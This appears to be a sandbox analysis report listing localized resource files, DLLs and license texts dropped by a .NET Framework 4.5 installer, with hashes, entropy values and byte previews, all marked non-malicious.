                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...0.9.:.@.>.A.>.D.B."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".R.U.S."./.>..... . . . . . .<.T.e.x.t. .I.D.

                  C:\02160d95efb0ac51c5e073\1049\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29640
                  Entropy (8bit):6.35094468011047
                  Encrypted:false
                  SSDEEP:384:Xjam2V4sRWnRc9ntoxpeWz1ae00GftpBjSJfDHRN7SGlumCWW:XC2xasiiDSRmdW
                  MD5:5C22367F16D7F50488C0241DD1FB8406
                  SHA1:291774DB92538E4CD85B6A9098E524D59F5BD7EB
                  SHA-256:B25820C362993FF2EF7426753A42891D30A4A4073F4B78688905DE41AAC5798C
                  SHA-512:0524A89A1937D14B0B92545E2844ADB9779DC894B1681190D36FFDC7FF0E10C85CBBC9B6B58DF759BD8F29AF4B06B92A5C4B6A0365DD1B285D91BC8B1FF8E4BE
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P............@.......................................... .../...........6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1049\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):19857
                  Entropy (8bit):3.7607971329623795
                  Encrypted:false
                  SSDEEP:384:EVLxNAw5rxK53bdGwuMcUEywwcF+fyURkpA+vqYS2:ML5l6bdGwywpKbj
                  MD5:AA71D8A84F8F2FCCE149D1F652C60337
                  SHA1:6EE9E0B8317E22B0715E653C099B7D1585DF254F
                  SHA-256:D5AA8BB8F1015256E9FE8A9873C766EE0DC327630F045FEF1A3EDB169C8D8199
                  SHA-512:530C66988815C4A51BE35F38DBA07EFC95DEDDCE488D8D8370C9B02879A1F8F850A7203F5F79E4867E7CEE25B19102C47963AFFC8ED8A80FA64336C21A9E4AD4
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset204 Tahoma Cyr;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\fswiss\fprq2\fcharset161 Tahoma Greek;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1049\b\f0\fs20\'c4\'ce\'cf\'ce\'cb\'cd\'c8\'d2\'c5\'cb\'dc\'cd\'db\'c5 \'d3\'d1\'cb\'ce\'c2\'c8\'df \'cb\'c8\'d6\'c5\'cd\'c7\'c8\'c8 \'cd\'c0 \'c8\'d1\'cf\'ce\'cb\'dc\'c7\'ce\'c2\'c0\'cd\'c8\'c5 \'cf\'d0\'ce\'c3\'d0\'c0\'cc\'cc\'cd\'ce\'c3\'ce \'ce\'c1\'c5\'d1\'cf\'c5\'d7\'c5\'cd\'c8\'df \lang1033\f1 MICROSOFT\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1049\f0 MICROSOFT .NET FRAMEWORK 4.5 \'c4\'cb\'df \'ce\'cf\'c5\'d0\'c0\'d6\'c8\'ce\'cd\'cd\'ce\'c9 \'d1\'c8\'d1\'d2\'c5\'cc\'db MICROSOFT\lang1033\f1\~\lang1049\f0 WINDOWS \'c8 \'d1\'ce\'ce\'d2\'c2\'c5\'d2\'d1\'d2\'c

                  C:\02160d95efb0ac51c5e073\1053\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (430), with CRLF line terminators
                  Category:dropped
                  Size (bytes):53390
                  Entropy (8bit):3.5729697276601846
                  Encrypted:false
                  SSDEEP:384:4Dkopgx/pEzLSGl6qK1tGSBG2+ed9lrktJBIM/oZHpdv:T3trlreJBoL
                  MD5:984229D90D2E75F49CD9DE5DF014E484
                  SHA1:FC32854972F189305A38C11A62EF457CD94026C6
                  SHA-256:C884F515F337E977D4CF1A19FF693C753813EDE2E52A9DBE8F6EF25184CCAE8D
                  SHA-512:23101CC1B6C17F10A8D53C59C4E9BF6D24D03D781FA1A36FCB89315F2257EA4A1BD652BDBC81845479A88F00F1DB52B35A0BBA311A9885C7503689F9C25E49C2
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".S.V.E."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1053\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29128
                  Entropy (8bit):6.132888205300969
                  Encrypted:false
                  SSDEEP:384:klTu64xbm+I8WE7M/oZVQNWpaeW61b/L0GftpBjxfDHRN7FlXxHFRX:kl2xbmL6xVOmki/fDplRX
                  MD5:C18186C5B4FC251B6BD66F19CFDB1972
                  SHA1:4F4F5E8C481DF75CAD9A20919AF2998414778C69
                  SHA-256:3D3E2245918EE561BD8FB1366C07877E1148C7C122B4C64A4AB35B14E40C8FE5
                  SHA-512:A21FA5155822EF543F650C1875F52E01328D0ECB0ED33983CB80EF1E3540566081321A8BA1B3EA79067AAD362874A75FDF5BA169BB4E0CDAEF306C456683AC87
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........0...............................................P............@.......................................... ...,...........4...=...........................................................................................text...G...........................@..@.rsrc....0... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1053\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):6756
                  Entropy (8bit):5.06071911028323
                  Encrypted:false
                  SSDEEP:192:1fLbJ0Bs5+Qi1YjC3dmFS9NYicbPt8zpkOU8DlzIQ/x2s2:JyxYG3dmwHY5bPWdcCP2
                  MD5:DE4C51986CBA4257716A46A98C50E867
                  SHA1:EA51E581877752A0B30D22EB34BC5BC10FFB836B
                  SHA-256:37C696BA6DF06E2A9635EF853C8704C35BF47FF31B4F1935ABEDCAA0C0E99C57
                  SHA-512:D0350A54C676DEA0B4A3958829CA05C10AE83DD3CF5A9CA3DD61207DA636D2883F147D96AAC47977E2D1A72F71910CFD299DA8A22937C90B1FA8C95E12C09D8A
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1053\b\f0\fs20 TILL\'c4GGSLICENSVILLKOR F\'d6R PROGRAMVARA FR\'c5N MICROSOFT\lang1033\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .\lang1053 NET FRAMEWORK 4.5 F\'d6R MICROSOFT WINDOWS OPERATIVSYSTEM OCH TILLH\'d6RANDE SPR\'c5KPAKET\lang1033\par..\pard\nowidctlpar\sb120\sa120\lang1053\b0 Microsoft Corporation (eller beroende p\'e5 var du bor, ett av dess koncernbolag) licensierar detta till\'e4gg till\~dig.\lang1030 \lang1053 Om du innehar licens f\'f6r Microsoft Windows-operativsystemprogramvara (\rdblquote programvaran\rdblquote ) f\'e5r du\~anv\'e4nda detta till\'e4gg.\lang1030 \lang1053 Du f\'e5r inte anv\'e4nda till\'e4gget om du inte har n\'e5gon li

                  C:\02160d95efb0ac51c5e073\1055\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (438), with CRLF line terminators
                  Category:dropped
                  Size (bytes):53314
                  Entropy (8bit):3.692406279375121
                  Encrypted:false
                  SSDEEP:768:wPC/67g+uoQlQZjobGAKaaWjJPnJIw4nXbtRevwNoF69:27g+GlQZjobGAKaaWjJvJ4rtRev4S69
                  MD5:DDB64B6C4FC498C27D291EDAAF65A536
                  SHA1:E312EEF1E9A485C5C6FE4578BBE1DD0CADBB1E3E
                  SHA-256:027180D93CEB875227A1D76A018B870CD1D09E143FFA1632B31C322B92DD6A35
                  SHA-512:DDB55169000052FB27CAEEB349939925C7DF1535C5C697DA7CC2BE3224C2C8EBE64328D865D1DFDBAD4C1E0588853C5309E31DE747F71B7F3BC9B6A9EB4335C1
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".T.R.K."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\1055\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29128
                  Entropy (8bit):6.155000084391107
                  Encrypted:false
                  SSDEEP:768:nhyFHUSDJvI8I5MXd2XbtR4gasit9Dt6rY:hkUVl5rtR4449DgE
                  MD5:F82136A45C7A3F11C7B263762BEE7CC7
                  SHA1:CA3C15B2A811D1B8EEC5D1B88B90CD7A58A01753
                  SHA-256:237BCBA7D5599C66F51C99514131915804DAC79494A12E44336FF1F81DBBE26B
                  SHA-512:8ADC445BA5E0A56AF5C56B3BBA49B3FAC7A487A4518B35873536113DC75D01A2DE7E773823B62225EB85203D8B0770642A9FA97FE11F81862EEFD5991E4DB1E2
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........0...............................................P......8.....@.......................................... ..$-...........4...=...........................................................................................text...G...........................@..@.rsrc....0... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\1055\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):8089
                  Entropy (8bit):4.950630291616138
                  Encrypted:false
                  SSDEEP:192:KfnYkONDM2SYhcK2kahfzCrd26ELiS2fpOpdii2:LtM2SYhcKHoWvELz2gp2
                  MD5:D9AABBC05B996AC4FA72437D7B25AACC
                  SHA1:5383A696D78404B181E95578B18643F92000FDC6
                  SHA-256:92C1847BE8185A79409069AE5C7BBE4156ACF0E059F8C23C8EE6FB69B5BFAB3E
                  SHA-512:27CA31AD37666CD15258FFA1FB68E247734EFF0FB7F6FF1D8BD346841075444A1334C0AC6F773C276ACDEFC64BE835D7778454C802F40EDEE47C896C0EBFEFA7
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset162 Tahoma Tur;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1055\b\f0\fs20 MICROSOFT YAZILIM EK L\'ddSANS KO\'deULLARI\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120 .NET FRAMEWORK 4.5 FOR MICROSOFT WINDOWS OPERATING SYSTEM AND ASSOCIATED LANGUAGE PACKS\par..\pard\nowidctlpar\sb120\sa120\lang1055\b0\f0 Microsoft Corporation (veya ya\'fead\'fd\'f0\'fdn\'fdz yere g\'f6re bir ba\'f0l\'fd \'feirketi) bu ekin lisans\'fdn\'fd size vermektedir.\lang1033\f1 \lang1055\f0 Microsoft Windows i\'feletim sistemi yaz\'fdl\'fdm\'fdn\'fd (\ldblquote yaz\'fdl\'fdm\rdblquote ) kullanma lisans\'fdn\'fdz varsa bu eki kullanabilirsiniz.\lang1033\f1 \lang1055\f0 Yaz\'fdl\'fdm i\'e7in l

                  C:\02160d95efb0ac51c5e073\2052\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):42174
                  Entropy (8bit):4.279500823892286
                  Encrypted:false
                  SSDEEP:384:4HfpmxkZtmqaBhZs/xcIr3wv9PiGXUQrWL7PFtJJyLcJVRHNAv:DkZtmqaNfXeL7PKcJVc
                  MD5:759EB338D738CA6C531B9D5B06591B3B
                  SHA1:C9ED5ADA615CCACD887A0D07EE25DFE1D7FBC00C
                  SHA-256:A4C3BC545FC028935AD6EC4BD8CE51A300FAB8A0B128CCA89A8C14923D437B16
                  SHA-512:82E6B969DEDFDDA477F6FB7FCB50A0ACAD0B26B9B4CCA9F1ADAB5323C6C144DA6C0BFF34E39E0EF7B39F37AB5808F0064EACE99867F7CD258E91AEB5AA5BAEF2
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..{SO-N.e"./.>..... . . . . . .<.T.e.x.t. .I.D.

                  C:\02160d95efb0ac51c5e073\2052\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):24520
                  Entropy (8bit):6.70850916522727
                  Encrypted:false
                  SSDEEP:384:oBsCW+3BH4G0XNWsEWB1LHB0GftpBjmDHRN7p2flXxHuED:oouAVWiMDpiRD
                  MD5:A5315D733A068AA1BADF2802900BDC5C
                  SHA1:6EDECD3CF1CE823BAAB54E5A648C4F434374256A
                  SHA-256:75F6204F506A84A50035101BA1482E428AEF995F6FFB930490A3F6A0823A24B7
                  SHA-512:BA20C557EC51FCA227FC3BCF95DD18E48D121E9CAFF045E591C2D8E4C11E913A672C60F112056E6BF81B50FC972AFDA0A92FFB9A76FE4B933BC5BED58C31B501
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........................................................@............@.......................................... ..............."...=...........................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\2052\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):11564
                  Entropy (8bit):4.21194604872344
                  Encrypted:false
                  SSDEEP:192:ofKvQk2G7tYdeXv/y7or+dmVk5mjAioA0yf7wRfynyw6fX+aV4Ixa2wwTF4YgACf:jdiqk8RiBuvLlwZo97mm82
                  MD5:1F3032C3D41C09756655B0885B218005
                  SHA1:056E1CB4081F0142F9EABF84B9E989A7536DDBCC
                  SHA-256:A2AF14996853D7A04B91AC9F45137A85DD8D29117952791FB6D9522F180E8AA1
                  SHA-512:1700FC2B88CC9EA3621D421E5B986B3D59C54068416957B53FFD9F8A534DF4A552294605D45EBF3D335A553B67C3FDABAB576C92F0C7361629FEE76E838FCF58
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe2052{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\fnil\fprq2\fcharset134 SimSun;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\froman\fprq2\fcharset2 Symbol;}}..{\colortbl ;\red0\green0\blue255;}..{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}}..{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs20 MICROSOFT \lang2052\f1\'c8\'ed\'bc\'fe\'b2\'b9\'b3\'e4\'d0\'ed\'bf\'c9\'cc\'f5\'bf\'ee\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang2052\f1\'d3\'c3\'d3\'da\lang1033\f0 MICROSOFT WINDOWS \lang2052\f1\'b2\'d9\'d7\'f7\'cf\'b5\'cd\'b3\'b5\'c4\lang1033\f0 .NET FRAMEWORK 4.5 \lang2052\f1\'bc\'b0\'cf\'e0\'b9\'d8\'d3\'ef\'d1\'d4\'b0\'fc\lang1033\f2\par..\pard\nowidctlpar\sb120\sa120\b0\f0 Microsoft Corporation\lang2052\f1\'a3\'a8\'bb\'f2\'c4\'fa\'cb\'f9\'d4\'da\'b5\'d8\'b5\'c4\lang1033\f0 Microsoft Corporation \lang2052\f1\'b9\'d8\'c1\'aa\'b9\'ab\'cb\'be\'a3\'a

                  C:\02160d95efb0ac51c5e073\2070\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (500), with CRLF line terminators
                  Category:dropped
                  Size (bytes):55692
                  Entropy (8bit):3.5647225608838613
                  Encrypted:false
                  SSDEEP:384:4OcpVnxoZYO9xV3zSysLRHgv/nikEKIO30JEqqyh2R5Av:JSJwEw30Jcb/o
                  MD5:6930CE4E8E28F54A0DB5D919B6BABD0E
                  SHA1:0278BF717168C061709E60CA754C8DC6E32B92D1
                  SHA-256:4BBB7F8A9743A5A21711156DC978DC8683B3EDCD9CA32E4C6A38DBE6F5001E04
                  SHA-512:904DC390C6CAD81E60159683FADC5E8556585B32F1F9482ACCFEDF3EE6B14CD8240E2225E3CE8A0338DA93162CEF601C4E9798327A1BC390E62B4EB2FC59CD4C
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.i.c.r.o.s.o.f.t.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".M.i.c.r.o.s.o.f.t."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.D.o.t.N.e.t.F.x.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...N.E.T. .F.r.a.m.e.w.o.r.k."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.M.a.j.o.r.M.i.n.o.r.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".4...5."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.r.a.n.d.i.n.g._.L.a.n.g.I.d.F.o.r.L.P.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".P.T.G."./.>..... . . . . . .<.T.e.x.t. .I.D.=.

                  C:\02160d95efb0ac51c5e073\2070\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):29640
                  Entropy (8bit):6.051949700792582
                  Encrypted:false
                  SSDEEP:384:572GOD7TShQkObTqU/WpzeWd1ae00GftpBjHtz3DHRN7JlGBPjb:A7ShQVbcHasivz3DCBf
                  MD5:FE166456AE4C9254FB4362D3210998AA
                  SHA1:91C516688EB090F2A3BAB55DAADF4875F72BA629
                  SHA-256:FA9E1DAB857CDE17039E5B9735DABD1618267C70191E40E7150E845B4DED803E
                  SHA-512:9DD4CE0EA8B2076095BBBBF71B7EEDE977E1DDCDBC5158E0BF055813AC5F53A24A798A9085F15B94CE20D5350166F9D123D601054BAF0D14EE47A962EF7F6ABC
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................5%......5".....Rich............................PE..L....l.O.........."!.........2...............................................P......v.....@.......................................... .../...........6...=...........................................................................................text...G...........................@..@.rsrc....0... ...0..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\2070\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):7257
                  Entropy (8bit):5.036712222258599
                  Encrypted:false
                  SSDEEP:192:1fpKgdXlye1l3TomskawsUUUqXwF5tkzLPl52nXIOQ6+fE2:3JlyeP3TomskawsUUUKwF5tkzLPf2M6c
                  MD5:A2217D93A69A133D5A4B2C00EF153081
                  SHA1:AF5316EDABBD556726E79084EC6B92B3435A31CB
                  SHA-256:4414BAAC7C388FA5D9BE8CF445D4D206261D8A964860D26696D79DF3F0BBBD13
                  SHA-512:877E5AD896CAF6D9EC58E1D39BD6A85CC3E7FA79E811992D6FC038D849574E44259DEE1B538A29B60F7225B6129669997A22706427BDEF997D71F5972B6F00CA
                  Malicious:false
